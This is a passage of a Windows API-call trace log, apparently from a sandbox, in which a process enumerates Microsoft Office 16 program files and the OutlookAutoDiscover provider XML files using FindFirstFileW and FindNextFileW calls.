ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c884dc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x265e, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnSendToOneNote_win7.cat", cAlternateFileName="PRNSEN~1.CAT")) returned 1 [0230.429] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c884dc0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c884dc0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c884dc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnSendToOneNote_win7.inf", cAlternateFileName="PRNSEN~1.INF")) returned 1 [0230.429] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c884dc0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c884dc0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c884dc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote-manifest.ini", cAlternateFileName="SENDTO~1.INI")) returned 1 [0230.429] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c884dc0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c884dc0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c884dc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote-PipelineConfig.xml", cAlternateFileName="SENDTO~1.XML")) returned 1 [0230.429] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c884dc0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c884dc0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c884dc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote.gpd", cAlternateFileName="SENDTO~1.GPD")) returned 1 [0230.429] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c8ab024, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c8ab024, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote.ini", cAlternateFileName="SENDTO~2.INI")) returned 1 [0230.430] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x180d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteFilter.dll", cAlternateFileName="SENDTO~1.DLL")) returned 1 [0230.430] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c8ab024, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c8ab024, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteNames.gpd", cAlternateFileName="SENDTO~2.GPD")) returned 1 [0230.430] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c8ab024, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c8ab024, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteNames.gpd", cAlternateFileName="SENDTO~2.GPD")) returned 0 [0230.430] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0230.431] GetProcessHeap () returned 0xc10000 [0230.431] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.431] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205e48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0230.431] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c884dc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONENOTE.VisualElementsManifest.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0230.431] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4fa8f4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4fa8f4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4fa8f4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2a0b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONENOTEM.EXE", cAlternateFileName="")) returned 1 [0230.431] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x313650, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONFILTER.DLL", cAlternateFileName="")) returned 1 [0230.431] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cd4a32, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19a88, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONLNTCOMLIB.DLL", cAlternateFileName="ONLNTC~1.DLL")) returned 1 [0230.431] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4d4679, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdc4086cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4f6fc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xed9050, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONMAIN.DLL", cAlternateFileName="")) returned 1 [0230.432] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x605aed7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b6c8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONPPTAddin.dll", cAlternateFileName="ONPPTA~1.DLL")) returned 1 [0230.432] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb7f57ea, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb7f57ea, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdd01a5a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8dbe58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONRES.DLL", cAlternateFileName="")) returned 1 [0230.432] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c858, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONWordAddin.dll", cAlternateFileName="ONWORD~1.DLL")) returned 1 [0230.432] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4ebdfb8, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x1bbad0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ORGCHART.DLL", cAlternateFileName="")) returned 1 [0230.432] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa4690, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ORGCHART.EXE", cAlternateFileName="")) returned 1 [0230.432] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4ee42e7, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xacac8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ORGCHWIZ.DLL", cAlternateFileName="")) returned 1 [0230.432] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1702fda, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1702fda, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x174f451, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x32ad8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ORGWIZ.EXE", cAlternateFileName="")) returned 1 [0230.432] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c8d1261, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1938c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OSF.DLL", cAlternateFileName="")) returned 1 [0230.432] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd29ce0e8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd29ce0e8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2b4b84a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa060, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OSFPROXY.DLL", cAlternateFileName="")) returned 1 [0230.432] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa060, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OSFROAMINGPROXY.DLL", cAlternateFileName="OSFROA~1.DLL")) returned 1 [0230.432] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x308c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OSFSHARED.DLL", cAlternateFileName="OSFSHA~1.DLL")) returned 1 [0230.433] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77060, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OSFUI.DLL", cAlternateFileName="")) returned 1 [0230.433] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca57b43c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca57b43c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca5a1676, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c4a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLCTL.DLL", cAlternateFileName="")) returned 1 [0230.433] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c943977, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x380000, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLFLTR.DAT", cAlternateFileName="")) returned 1 [0230.433] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c943977, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab940, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLFLTR.DLL", cAlternateFileName="")) returned 1 [0230.433] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c943977, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbce68, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLMIME.DLL", cAlternateFileName="")) returned 1 [0230.433] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca57b43c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212b448, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLOOK.EXE", cAlternateFileName="")) returned 1 [0230.433] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca850099, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca850099, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca850099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x740, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLOOK.EXE.MANIFEST", cAlternateFileName="OUTLOO~1.MAN")) returned 1 [0230.433] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c91d744, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLOOK.VisualElementsManifest.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0230.434] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1fc86400, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1fc86400, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OutlookAutoDiscover", cAlternateFileName="OUTLOO~1")) returned 1 [0230.434] GetProcessHeap () returned 0xc10000 [0230.434] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.434] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1fc86400, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1fc86400, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0230.436] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1fc86400, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1fc86400, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.438] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c91d744, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c91d744, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c91d744, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMERITECH.NET.XML", cAlternateFileName="AMERIT~1.XML")) returned 1 [0230.438] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c91d744, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c91d744, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c91d744, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="BTINTERNET.NET.XML", cAlternateFileName="BTINTE~1.XML")) returned 1 [0230.438] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c91d744, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c91d744, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c91d744, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="BTOPENWORLD.COM.XML", cAlternateFileName="BTOPEN~1.XML")) returned 1 [0230.438] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c91d744, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c91d744, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c91d744, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLASH.NET.XML", cAlternateFileName="FLASHN~1.XML")) returned 1 [0230.439] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c969bd6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c969bd6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c969bd6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMAIL.COM.XML", cAlternateFileName="GMAILC~1.XML")) returned 1 [0230.439] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c943977, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c943977, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c943977, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL.ROGERS.COM.XML", cAlternateFileName="NLROGE~1.XML")) returned 1 [0230.439] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c943977, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c943977, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c943977, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NVBELL.NET.XML", cAlternateFileName="NVBELL~1.XML")) returned 1 [0230.439] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c943977, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c943977, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c943977, 